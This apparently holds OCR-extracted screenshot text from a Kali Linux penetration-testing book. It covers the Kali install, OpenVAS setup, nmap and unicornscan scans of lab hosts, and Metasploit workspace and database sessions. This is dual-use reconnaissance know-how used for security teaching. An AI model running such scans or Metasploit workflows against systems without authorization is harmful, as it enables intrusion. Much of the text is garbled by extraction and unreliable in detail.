## Chapter 1: Sharpening the Saw




## Configure the network

Please enter the hostname for this system.
The hostname is a single word that identifies your system to the network. If you don't know what your hostname should be, consult your network administrator. If you are setting up your own home network, you can make something up here.
Hostname:
kalibook


Set up users and passwords

You need to set a password for 'root', the system administrative account. A malicious or unqualified user with root access can have disastrous results, so you should take care to choose a root password that is not easy to guess. It should not be a word found in dictionaries, or a word that could be easily associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be disabled and the system's initial user account will be given the power to become root using the "sudo" command.

Note that you will not be able to see the password as you type it.
Root password:

## I


Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:


| Partition disks |
| :--- |
| The installer can guide you through partitioning a disk (using different standard schemes) or, if you <br> prefer, you can do it manually. With guided partitioning you will still have a chance later to review and <br> customise the results. <br> If you choose guided partitioning for an entire disk, you will next be asked which disk should be used. <br> Partitioning method: <br> Guided - use entire disk <br> Guided - use entire disk and set up LVM <br> Guided - use entire disk and set up encrypted LVM <br> Manual <br> Screenshot |





Partition disks

Before the Logical Volume Manager can be configured, the current partitioning scheme has to be written to disk. These changes cannot be undone.

After the Logical Volume Manager is configured, no additional changes to the partitioning scheme of disks containing physical volumes are allowed during the installation. Please decide if you are satisfied with the current partitioning scheme before continuing.

The partition tables of the following devices are changed: SCSI3 $(0,0,0)(s d a)$

The following partitions are going to be formatted: partition \#1 of SCSI3 $(0,0,0)$ (sda) as ext2
Write the changes to disks and configure LVM?
No
(0) Yes



Partition disks

You need to choose a passphrase to encrypt SCSI3 (0,0,0), partition \#5 (sda).
The overall strength of the encryption depends strongly on this passphrase, so you should take care to choose a passphrase that is not easy to guess. It should not be a word or sentence found in dictionaries, or a phrase that could be easily associated with you.

A good passphrase will contain a mixture of letters, numbers ${ }_{3}$ nd punctuation. Passphrases are recommended to have a length of $\mathbf{2 0}$ or more characters.
Encryption passphrase:

## -00000000000000

Please enter the same passphrase again to verify that you have typed it correctly. Re-enter passphrase to verify:





Install the system

Installing the system...
Copying data to disk...







## File Edit View Search Terminal Help

[i] Updating /var/lib/openvas/cert-data/dfn-cert-2014.xml
[i] Updating /var/lib/openvas/cert-data/dfn-cert-2015.xml
[i] Updating Max CVSS for DFN-CERT
Generating RSA private key, 1024 bit long modulus
. .++++++
..+++++++
e is 65537 ( $0 \times 10001$ )
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [DE]:State or Province Name (full name) [Some-State]:Locality Name (eg, city) []:Organization Name (eg, company) [Internet Widgits Pty Ltd]:Organizational Unit Name (eg, sec tion) []:Common Name (eg, your name or your server's hostname) []:Email Address []:Using configuratio
n from /tmp/openvas-mkcert-client.7264/stdC.cnf
Check that the request matches the signature
Signature ok
The Subject's Distinguished Name is as follows
countryName :PRINTABLE:'DE'
localityName :PRINTABLE:'Berlin
commonName :PRINTABLE:'om'
Certificate is to be certified until Feb 29 07:58:54 2016 GMT (365 days)

Write out database with 1 new entries
Data Base Updated
Stopping OpenVAS Manager: openvasmd.
Stopping OpenVAS Scanner: openvassd.
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd
Restarting Greenbone Security Assistant: gsad.
Iser created with password '3e95860f-10ea-4ca4-b7f8-707965ab4c71'
rotdkalibook:~\#

| Applications * Places * |  | Wed 22:29 |  |
| :---: | :---: | :---: | :---: |
| Favorites |  |  | golismero |
| 01 - Information Gathering | > |  |  |
| 02 - Vulnerability Analysis | 〉 |  |  |
| 03 - Web Application Analysis | $\downarrow$ |  | nikto |
| 04 - Database Assessment |  |  | nmap |
| 05 - Password Attacks | - |  | etup |
| 06 - Wireless Attacks | - |  |  |
| 07 - Reverse Engineering |  |  | openvas start |
| 08 - Exploitation Tools |  |  | openvas stop |
| 09 - Sniffing \& Spoofing | - |  |  |
| 10 - Post Exploitation | - |  |  |
| 11 - Forensics | - |  |  |
| 12 - Reporting Tools |  |  |  |

File Edit View Search Terminal Help
SKIP: Skipping check for Greenbone Security Desktop.
Step 7: Checking if OpenVAS services are up and running
OK: netstat found, extended ch
OK: OpenVAS Scanner is running and listening only on the local interface
lus is is ring and isten ing on the lot inter
ARNING: Openvas Manager is running and
outside using GSD or OpenVAS CLI.
SUGGEST: Ensure that OpenVAS Manager listens on all interfaces unless you want
a local service only.
OK: OpenVAS Manager is listening on port 9390, which is the default port
WARNING: Greenbone Security Assistant is running and listening only on the local interface
This means that you will not be able to access the Greenbone Security Assistant from the
outside using a web browser
SUGGEST: Ensure that Greenbone Security Assistant listens on all interfaces.
OK: Greenbone Security Assistant is listening on port 9392, which is the default port.
Step 8: Checking nmap installation
WARNING: Your version of nmap is not fully supported: 6.47
SUGGEST: You should install nmap 5.51.
Step 9: Checking presence of optional tools ..
OK: pdflatex found.
OK: PDF generation successful. The PDF report format is likely to work
OK: ssh-keygen found, LSC credential generation for GNU/Linux targets is likely to work
WARNING: Could not find rpm binary, LSC credential package generation for RPM and DEB based targets will not work
SUGGEST: Install rpm.
WARNING: Could not find makensis binary, LSC credential package generation for Microsoft Windows targets will not work. SUGGEST: Install nsis.

It seems like your OpenVAS-7 installation is OK.
If you think it is not OK, please report your observation
and help us to improve this check routine:
解
Please attach the log-file (/tmp/openvas-check-setup.log) to help us analyze the problem
root@kalibook: \#

Greenbone Security ... $\times$


國Most Visited $\checkmark$
WIIOffensive Security KKali Linux Kali Docs KKali Tools Exploit-DB


＊Greenbone Security ．．．$\times$

國Most Visited $\boldsymbol{H}^{2}$ Offensive Security＊Kali Linux＊Kali Docs＊Kali Tools Exploit－DB

## Greenbone

Security Assistant
＜＞Logged in as Admin admin｜Logout Mon Mar 2 02：19：53 2015 UTC

| Scan Management | Asset Management | Seclifo Management | Configuration | Extras | Administration | Help |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: |
|  |  |  |  |  |  |  |
| Filter：sort＝roles rows＝10 permission＝any first＝1 |  |  |  | \％$\square^{9}$ |  | ＊－－ 2 目目 |
| Name | Roles | Groups | Host |  |  | ctions |
| admin | Admin |  | Allow | d deny： |  | 58 |
| （Applied fiter：sort＝roles rows＝10 permission＝any first＝1） |  |  |  |  | ［10 | of 1 （toc 3 ： 13 Edit User |




```
    File Edit View Search Terminal Help
root@kali-01:~# /etc/init.d/apache2 start
[ ok ] Starting web server: apache2.
root@kali-01:~# /etc/init.d/apache2 status
Apache2 is running (pid 3319).
root@kali-01:~# /etc/init.d/apache2 reload
[ ok ] Reloading web server config: apache2.
root@kali-01:~# /etc/init.d/apache2 status
Apache2 is running (pid 3319).
root@kali-01:~# /etc/init.d/apache2 restart
[ ok ] Restarting web server: apache? ... waiting
root@kali-01:~# /etc/init.d/apache2 status
Apache2 is running (pid 3451).
root@kali-01:~# /etc/init.d/apache2 stop
[ ok ] Stopping web server: apache2 ... waiting .
root@kali-01:~# /etc/init.d/apache2 status
Apache2 is NOT running.
root@kali-01:~#
```


## Chapter 2: Information Gathering and VuInerability Assessment

```
root@kali-O1: ~
                                    - - x
File Edit View Search Terminal Help
root@kali-01:~# nmap -A 10.0.0.4
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-25 01:03 EDT
Nmap scan report for 10.0.0.4
Host is up (0.00024s latency).
All 1000 scanned ports on 10.0.0.4 are closed
Too many fingerprints match this host to give specific OS details
Network Distance: 0 hops
OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.99 seconds
root@kali-01:~# /etc/init.d/apache2 start
[ ok ] Starting web server: apache2.
root@kali-01:~# nmap -A 10.0.0.4
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-25 01:04 EDT
Nmap scan report for 10.0.0.4
Host is up (0.00029s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux kernel:3
OS details: Linux 3.7 - 3.\overline{1}5
Network Distance: 0 hops
OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.22 seconds
root@kali-01:~#
```


## MINGW32:/c/Users/Wolf

```
Welcome to Git (version 1.9.5-preview20141217)
Run 'git help git' to display the help index.
Run 'git help <command>' to display help for specific commands.
Wolf@MERLIN ~
$ nmap -sT 10.0.0.1-12
Starting Nmap 6.47 (http://nmap.org ) at 2015-03-25 13:08 Eastern Daylight Time
Stats: 0:00:28 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 12.00% done; ETC: 13:11 (0:03:11 remaining)
Stats: 0:00:39 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 17.26% done; ETC: 13:11 (0:02:57 remaining)
Stats: 0:00:39 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 17.27% done; ETC: 13:11 (0:02:57 remaining)
Stats: 0:00:40 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 17.90% done; ETC: 13:11 (0:02:59 remaining)
Packet Tracing disabled.
Stats: 0:00:41 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 18.32% done; ETC: 13:11 (0:02:54 remaining)
Packet Tracing disabled.
Stats: 0:00:42 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 18.99% done; ETC: 13:11 (0:02:55 remaining)
Packet Tracing disabled.
Stats: 0:00:44 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 19.82% done; ETC: 13:11 (0:02:54 remaining)
Packet Tracing disabled.
Stats: 0:00:45 elapsed; 6 hosts completed (5 up), 5 undergoing Connect Scan
Connect Scan Timing: About 20.23% done; ETC: 13:11 (0:02:53 remaining)
Packet Tracing disabled.
```




```
root@kali-01:~# nmap -0 10.0.0.12
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-27 18:59 EDT
Nmap scan report for 10.0.0.12
Host is up (0.00064s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
49156/tcp open unknown
MAC Address: A8:54:B2:0B:D8:74 (Wistron Neweb)
Warning: OSScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port
Device type: general purpose|phone
Running: Microsoft Windows 2008|Phone|Vista|7
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows cpe:/o:
microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::spl cpe:/o:microsoft:
windows 7
OS details: Windows Server 2008 R2, Microsoft Windows Phone 7.5 or 8.0, Microsof
t Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Win
dows Vista SP2, Windows 7 SP1, or Windows Server 2008
Network Distance: 1 hop
OS detection performed. Please report any incorrect results at http://nmap.org/s
ubmit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.74 seconds
```

```
root@kalı-01:~# nmap -0 -v 10.0.0.12
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-27 18:59 EDT
Initiatihg ARP Ping Scan at 18:59
Scanning 10.0.0.12 [1 port]
Completed ARP Ping Scan at 18:59, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:59
Completed Parallel DNS resolution of 1 host. at 18:59, 0.04s elapsed
Initiating SYN Stealth Scan at 18:59
Scanning 10.0.0.12 [1000 ports]
Discovered open port 139/tcp on 10.0.0.12
Discovered open port 445/tcp on 10.0.0.12
Discovered open port 135/tcp on 10.0.0.12
Discovered open port 5357/tcp on 10.0.0.12
Discovered open port 49156/tcp on 10.0.0.12
Completed SYN Stealth Scan at 18:59, 4.58s elapsed (1000 total ports)
Initiating OS detection (try #1) against 10.0.0.12
Nmap scan report for 10.0.0.12
Host is up (0.00063s latency).
Not shown: }995\mathrm{ filtered ports
PORT STATE SERVICE
135/tcp open msrpc 139/tcp open netbios-ssn
445/tcp open microsoft-ds 5357/tcp open wsdapi
445/tcp 49156/tcp open unknown
MAC Address: A8:54:B2:0B:D8:74 (Wistron Neweb)
Warning: OSScan results may be unreliable because we could not find at least l open and l closed port
Device type: general purpose|phone [cut line return] Running: Microsoft Windows 2008|7|Phone|Vista
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7::-::professional cpe:/o:microsoft:windows_8
cpe:/o:microsoft:windows cpe:/o:microsof}t:windows_vista::- cpe:/o:microsoft:windows_vista::spl
OS details: Windows Server 2008 R2, Mi crosoft Windows 7 Professional or Windows 8, Microsoft Windows Phone 7.5 or 8.0,
Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SPl, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SPl, or
Windows Server 2008
Uptime guess: 4.855 days (since Sun Mar 22 22:28:06 2015)
Network Distance: l hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Read data files from: /usr/bin/../share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: l IP address (l host up) scanned in 7.28 seconds
    Raw packets sent: 2035 (91.378KB) | Rcvd: 17 (1.070KB)
```








[i] Migrating non-OpenVAS files to private sub-directory 'private' of NVT direct ory '/var/lib/openvas/plugins'. This can take a few minutes.

（ Most Visited

| Ch Greenbone Security Assistant |  |  |  |  |  | Logged in as Admin admin｜Logout <br> Sun Mar 15 22：13：22 2015 UTC |  |  |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| Scan Management | Asset Management | Secinfo Management | Configuration | Extras |  | Administration |  | Help |
| Tasks |  |  |  |  |  |  |  |  |
| Reports |  |  |  |  |  |  |  |  |
| Notes <br> Overrides |  | － |  |  |  |  |  |  |
| Name |  | Status | Reports |  | Severity | 0 | Trend | Actions |
|  |  | Total | Last |  |  |  |  |
| Immediate scan of IP 192．168．202．0／24 |  |  | 24 Done | 1 （1） | Mar 152015 | 7．2（firgi |  |  |  |
| （Applied fiter：apply＿overrides＝1 rows＝10 permission＝any owner＝any first＝1 sort＝name）［0］ 1－1 $^{\text {of } 1 \text {（total：} 1 \text { ）}}$ |  |  |  |  |  |  |  |  |
| Welcome dear new user！ <br> Quick start：Immediately scan an IP address <br> To explore this powerful application and to IP address or hostname： have a quick start for doing things the first time，I am here to assist you with some hints and short－cuts． $\square$ |  |  |  |  |  |  |  | Start Scan |
| I will appear automatically in areas where you have created no or only a few objects． And disappear when you have more than 3 objects．You can call me with this icon any time later on． <br> If you want help creating new scan tasks but also more options，you can select ＂Advanced Task Wizard＂from the wizard selection menu at the top of this window whora it curronth，eave＂Tack Wizard＂ |  |  | For this short－cut I will do the following for you： <br> 1．Create a new Target with default Port List <br> 2．Create a new Task using this target with default Scan Configuration <br> 3．Start this scan task right away <br> 4．Switch the view to reload every 30 seconds so you can lean back and watch the scan progress <br> In fact，you must not lean back．As soon as the scan progress is beyond $1 \%$ ，you can already jump into the scan report via the link in ．Reports Total column and review the results collected so far． |  |  |  |  |  |
|  |  |  |  |  |  |  |  |  |  |  |  |  |  |

© Greenbone Security ．．．$\times$ §
© https：／／localhost：9392／omp？cmd＝get＿report\＆report＿id＝b82a186a－9b82－41e6－9b30－38b1c0d38ad9\＆notes＝：$\vee$ C $8 \vee$ Google
Most Visited 駐 Offensive Security Kali Linux Kali Docs Kali Tools Exploit－DB







| Scan Type | nmap | unicornscan |
| :---: | :---: | :---: |
| Syn Scan | -sS -v | (-mT) -Iv |
| Connect Scan | -sT-v | -msf -Iv |
| Syn + osdetect | -sS -O -v | -eosdetect -Iv (-mT) |
| UDP scan | -sU -v | -mU -Iv |
| IP Protocol Scan | -sO -v | NONE |
| FIN scan | -sF-v | -mTsF -v -E |
| NULL scan | -sN -v | -mTs -v -E |
| XMAS scan | -sX-v | -mTsFPU -v -E |
| ACK scan | -sA -v | -mTsA -v -E |
| scan ports 1 and 5 | -sS -p1,5-v | (-mT) host:1,5 |
| scan ports 1 through 5 | -sS -p1-5 | (-mT) host:1-5 |
| scan ALL tcp ports | -sS -p0-65535-v | (-mT) host:a |

```
root@kali-01:~# unicornscan -i eth0 -Ir 160 -E 10.0.0.12/32:20-600
TCP open 10.0.0.12:445 ttl 128
TCP open 10.0.0.12:135 ttl 128
TCP open 10.0.0.12:139 ttl 128
TCP open epmap[ 135] from 10.0.0.12 ttl 128
TCP open netbios-ssn[ 139]
TCP open microsoft-ds[ 445]
from 10.0.0.12 ttl }12
from 10.0.0.12 ttl }12
```

```
root@kali-01:~# unicornscan -i eth0 -vvvv -Ir 160 -E 10.0.0.12/32:20-600
adding 10.0.0.12/32 mode `TCPscan' ports `20-600' pps 160
using interface(s) eth0
added module payload for port }5060\mathrm{ proto 17
added module payload for port }80\mathrm{ proto }
added module payload for port 1900 proto 17
added module payload for port }80\mathrm{ proto }
added module payload for port }518\mathrm{ proto 17
added module payload for port }53\mathrm{ proto 17
scaning 1.00e+00 total hosts with 5.81e+02 total packets, should take a little longe
r than 10 Seconds
drone type Unknown on fd 4 is version 1.1
drone type Unknown on fd 5 is version 1.1
added module payload for port }5060\mathrm{ proto }1
added module payload for port }80\mathrm{ proto }
added module payload for port }1900\mathrm{ proto 17
added module payload for port }80\mathrm{ proto }
added module payload for port }518\mathrm{ proto 17
added module payload for port }53\mathrm{ proto 17
opening config file `/etc/unicornscan/payloads.conf'
opening config file `/etc/unicornscan/modules.conf'
scan iteration 1 out of 1
using pcap filter: `dst 10.0.0.4 and ! src 10.0.0.4 and (tcp or icmp)
using TSC delay
TCP open 10.0.0.12:445 ttl 128
TCP open 10.0.0.12:139 ttl 128
TCP open 10.0.0.12:135 ttl 128
sender statistics 126.4 pps with }581\mathrm{ packets sent total
listener statistics 6 packets recieved 0 packets droped and 0 interface drops
TCP open epmap[ 135] from 10.0.0.12 ttl 128
TCP open netbios-ssn[ 139]
TCP open 
main exiting
    microsoft-ds[ 445]
from 10.0.0.12 ttl }12
from 10.0.0.12 ttl 128
```

File Edit View Go Bookmarks Help

## Devices

$\square$ Floppy Drive
© 21 GB Unrec．
（2）Kali Live $\stackrel{1}{ }$


notes

Computer
F Home
（⿴囗⿱一一 Desktop
© File System
（1）Trash
Network
暍 Browse Net．


| root@kali-01: ~ |  |  |  |  |  |  |  |  |  |  |  | $\square$ | $x$ |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| File Edit View S | Search | Te | erminal | Help |  |  |  |  |  |  |  |  |  |
| + |  |  |  |  |  |  |  |  |  |  |  |  |  |
| CPU[\||||||||| |  |  |  |  | . 4 ] |  | Tasks | S: 82, | 172 thr | 2 running |  |  |  |
| Mem[\||||||||||||||||||||||430/1007MB] Load average: 0.32 0.40 0.77 |  |  |  |  |  |  |  |  |  |  |  |  |  |
| Swp[\|||||||||||||||||||||||173/199MB] Upt |  |  |  |  |  |  |  |  |  |  |  |  |  |
| PID USER | PRI | VI | IRT | ES |  |  |  |  | =+ | Command |  |  |  |
| 18192 root | 20 | 0 | 25968 | 20544 | 5588 | R | 24.0 | 2.0 | 0:02.01 | nmap -A 10 | .0. |  |  |
| 18190 root | 20 | 0 | 3372 | 2740 | 2212 | R | 13.0 | 0.3 | 0:24.62 | htop |  |  |  |
| 2341 root | 20 | 0 | 124M | 29896 | 5488 | S | 5.0 | 2.9 | 4:00.34 | /usr/bin/X | g |  |  |
| 9136 root | 20 | 0 | 560M | 114M | 33004 | S | 4.0 | 11.3 | 3:10.81 | iceweasel |  |  |  |
| 9157 root | 20 | 0 | 560M | 114M | 33004 | S | 1.0 | 11.3 | 0:29.58 | iceweasel |  |  |  |
| 3016 root | 20 | 0 | 78092 | 16236 | 9800 | S | 0.0 | 1.6 | 1:06.26 | gnome-termi |  |  |  |
| 2886 root | 20 | 0 | 113M | 11356 | 9624 | S | 0.0 | 1.1 | 0:10.20 | /usr/bin/me | aci |  |  |
| 2900 root | 20 | 0 | 114M | 38320 | 12984 | S | 0.0 | 3.7 | 0:32.06 | gnome-panel |  |  |  |
| 9223 roo | 20 | 0 | 6152 | 2420 | 2072 | S | 0.0 | 0.2 | 0:00.35 | bash |  |  |  |
| 2946 root | 9 | -11 | 97660 | 6820 | 5780 | S | 0.0 | 0.7 | 0:04.36 | /usr/bin/pu | sea | udio |  |
| 2956 root | -6 | -11 | 97660 | 6820 | 5780 | S | 0.0 | 0.7 | 0:03.28 | /usr/bin/pu | sea | di |  |
| 2854 roo | 20 | 0 | 156M | 9568 | 7804 | S | 0.0 | 0.9 | 0:15.07 | /usr/lib/gn | me- | set |  |
| 2938 root | 20 | 0 | 104M | 28336 | 2196 | S | 0.0 | 2.7 | 0:00.47 | /usr/lib/tr | cker | r/t |  |
| 2931 r | 20 | 0 | 104M | 28336 | 2196 | S | 0.0 | 2.7 | 0:33.03 | /usr/lib/tr | acke | /t |  |
| 16591 roo | 20 | 0 | 114M | 55132 | 6312 | S | 0.0 | 5.3 | 0:02.50 | openvasmd |  |  |  |
| 2913 root | 20 | 0 | 8344 | 1256 | 1040 | S | 0.0 | 0.1 | 0:00.41 | /usr/lib/i3 | -7 | inux |  |
| 2910 root | 20 | 0 | 114M | 38320 | 12984 | S | 0.0 | 3.7 | 0:02.39 | gnome-panel |  |  |  |
| 2911 root | 20 | 0 | 114 M | 38320 | 12984 | S | 0.0 | 3.7 | 0:00.57 | gnome-panel |  |  |  |
| 2255 messagebu | 20 | 0 | 3672 | 2176 | 1444 | S | 0.0 | 0.2 | 0:02.35 | /usr/bin/db | s-d | aemo |  |
| 9151 root | 20 | 0 | 560M | 114M | 33004 | S | 0.0 | 11.3 | 0:00.20 | iceweasel |  |  |  |
| 9152 root | 20 | 0 | 560M | 114 M | 33004 | S | 0.0 | 11.3 | 0:05.15 | iceweasel |  |  |  |
| 9153 root | 20 | 0 | 560M | 114 M | 33004 | S | 0.0 | 11.3 | 0:00.60 | iceweasel |  |  |  |
| 9154 root | 20 | 0 | 560M | 114 M | 33004 | S | 0.0 | 11.3 | 0:02.04 | iceweasel |  |  |  |
| 9155 root | 21 | 1 | 560M | 114M | 33004 | S | 0.0 | 11.3 | 0:00.00 | iceweasel |  |  |  |
| 9156 root | 20 | 0 | 560 M | 14 M | 33004 |  | 0.0 | 3 | 0:00.00 | iceweasel |  |  |  |
| 9158 root | 20 | 0 | 560M | 114M | 33004 | S | 0.0 | 11.3 | 0:00.00 | iceweasel |  |  |  |
| 9165 root | 20 | 0 | 560M | 114M | 33004 | S | 0.0 | 11.3 | 0:00.67 | iceweasel |  |  |  |
| 9166 root | 20 | 0 | 560M | 114M | 33004 | S | 0.0 | 11.3 | 0:00.04 | iceweasel |  |  |  |
| F1Help F2Setup | F3S | arc | F4-1し | terF5T | ree F |  | tByF | FINe | F8Nice | +F9Kill F | , |  |  |




## Chapter 3: Exploitation Tools (Pwnage)




## root@kalibook: ~

File Edit View Search Terminal Help
[ ok ] Starting PostgreSQL 9.1 database server: main.
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.
root@kalibook:~\#

```
File Edit View Search Terminal Help
root@kalibook:~# msfconsole
[*] Starting the Metasploit Framework console.../
# cowsay++
< metasploit >
-
(\overline{OO)-_-)\}
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit
    =[ metasploit v4.11.0-2015013101 [core:4.11.0.pre.2015013101 api:1.0.0]]
+ -- --=[ 1398 exploits - 877 auxiliary - 237 post ]
+ -- --=[ 356 payloads - 37 encoders - 8 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
msf > workspace
* default
    kalibook-int-20150300
msf >
msf >
msf > help use
Usage: use module_name
The use command is used to interact with a module of a given name.
msf > help hosts
Usage: hosts [ options ] [addr1 addr2 ...]
OPTIONS:
    -a,--add Add the hosts instead of searching
    -d,--delete Delete the hosts instead of searching
    -c <col1,col2> Only show the given columns (see list below)
    -h,--help Show this help information
    -u,--up Only show hosts which are up
    -o <file> Send output to a file in csv format
    -R,--rhosts Set RHOSTS from the results of the search
    -S,--search Search string to filter by
```

Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_att

me, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count
msf >

```
msf > workspace -h
Usage:
    lorere list workspaces
msf > workspace -a TestCompany-int-20150402
[*] Added workspace: TestCompany-int-20150402
msf > workspace TestCompany-int-20150402
[*] Workspace: TestCompany-int-20150402
msf > workspace
    default
    kalibook-int-20150300
* TestCompany-int-20150402
msf >
```

```
msf > cd kalibook/scans-docs Changing directory to the scans
```

msf > cd kalibook/scans-docs Changing directory to the scans
msf > ls
msf > ls
[*] exec: ls
[*] exec: ls
201503150408 Intense scan, no ping on 192.168.202.0_24.xml
201503150408 Intense scan, no ping on 192.168.202.0_24.xml
lab1-report.xml
lab1-report.xml
openvas-vul-scan.xml
openvas-vul-scan.xml
report-b82a186a-9b82-41e6-9b30-38b1c0d38ad9.pdf
report-b82a186a-9b82-41e6-9b30-38b1c0d38ad9.pdf
msf > db import openvas-vul-scan.xml Importing scan data into the database
msf > db import openvas-vul-scan.xml Importing scan data into the database
[*] Importing 'Nmap XML' data
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.6.6.2'
[*] Import: Parsing with 'Nokogiri v1.6.6.2'
[*] Importing host 192.168.202.1
[*] Importing host 192.168.202.1
[*] Importing host 192.168.202.128
[*] Importing host 192.168.202.128
[*] Importing host 192.168.202.130
[*] Importing host 192.168.202.130
[*] Importing host 192.168.202.131
[*] Importing host 192.168.202.131
[*] Successfully imported /root/kalibook/scans-docs/openvas-vul-scan.xml
[*] Successfully imported /root/kalibook/scans-docs/openvas-vul-scan.xml
msf >

```
msf >
```

```
msf > db_nmap -A -sV -0 192.168.202.0/24
[*] Nmap: Starting Nmap 6.47 (nttp:/7nmap.org) at 2015-05-02 17:54 EDT
[*] Nmap: Nmap scan report for 192.168.202.1
[*] Nmap: Host is up (0.00012s latency).
** Nmap: Not shown: }996\mathrm{ closed ports
[*] Nmap: PORT STATE SERVICE VERSION
[*] Nmap: 22/tcp open ssh (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: | 1024 8a:9b:c3:89:a3:5d:d8:04:67:76:a2:1b:a4:a8:55:db (DSA)
[*] Nmap: | 2048 ae:9e:00:2a:6e:93:e1:4d:59:d8:5a:96:b0:03:53:06 (RSA)
[*] Nmap: | 256 b7:d3:80:c1:b2:3f:5f:5b:48:c8:13:0e:9f:4e:73:eb (ECDSA)
[*] Nmap: 1\overline{1}1/tcp open rpcbind 2-4 (RPC #100000)
[*] Nmap: | rpcinfo:
*] Nmap: | program version port/proto service
[*] Nmap: | 100000 2,3,4 111/tcp rpcbind
[*] Nmap: | 100000 2,3,4 111/udp rpcbind
[*] Nmap: | 100024 1 32927/udp status
[*] Nmap: |_ 100024 1 49336/tcp status
*] Nmap: 443/tcp open ssl/http VMware VirtualCenter Web service
[*] Nmap: |_http-methods: No Allow or Public header in OPTIONS response (status code 501)
[*] Nmap: |_http-title: Site doesn't have a title (text; charset=plain).
[*] Nmap: | ssl-cert: Subject: commonName=VMware/countryName=US
[*] Nmap: | Not valid before: 2015-02-28T06:34:52+00:00
[*] Nmap: |_Not valid after: 2016-02-28T06:34:52+00:00
[*] Nmap: 90}2/tcp open ssl/vmware-auth VMware Authentication Daemon 1.10 (Uses VNC, SOAP)
[*] Nmap: 1 service unrecognized despite returning data. If you know the service/version, please sub
mit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
[*] Nmap: SF-Port22-TCP:V=6.47%I=7%D=5/2%Time=554547DB%P=x86_64-unknown-linux-gnu%r(
[*] Nmap: SF:NULL,29,"SSH-2\.0-0penSSH_6\.6\.1p1\x20Ubuntu-2übuntu2\r\n");
[*] Nmap: MAC Address: 00:50:56:C0:00:\overline{01 (VMware)}
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 3.X
[*] Nmap: OS CPE: cpe:/o:linux:linux kernel:3
**] Nmap: OS details: Linux 3.11 - 3.14
[*] Nmap: Network Distance: 1 hop
[*] Nmap: TRACEROUTE
```

[*] Nmap: Host is up (0.000031s latency).
[*] Nmap: All 1000 scanned ports on 192.168.202.129 are closed
[*] Nmap: Too many fingerprints match this host to give specific OS details
[*] Nmap: Network Distance: 0 hops
[*] Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org
/submit/
[*] Nmap: Nmap done: 256 IP addresses (7 hosts up) scanned in 173.35 seconds
msf >hosts
Hosts
"hosts" command shows all available hosts
=====
address
192.168.202.1
192.168.202.2
192.168.202.3
192.168 .202 .5
192.168 .202 .128

192 .168.202.129
msf $>$ services
services "services" command shows all available running services.
========

| host | port | proto | name | state | info |
| :---: | :---: | :---: | :---: | :---: | :---: |
| -- |  |  | ---- |  |  |
| 192.168 .202 .1 | 22 | tcp | ssh | open | protocol 2.0 |
| 192.168 .202 .1 | 111 | tcp | rpcbind | open | 2-4 RPC \#100000 |
| 192.168.202.1 | 443 | tcp | http | open | VMware Virtual Center Web service |
| ${ }_{\text {AP }}^{192.168 .202 .1}$ | 902 | tcp | vmware-auth | open | VMware Authentication Daemon 1.10 Uses VNC, S0 |
| 192.168.202.2 | 464 | tcp | kpasswd5 | open |  |
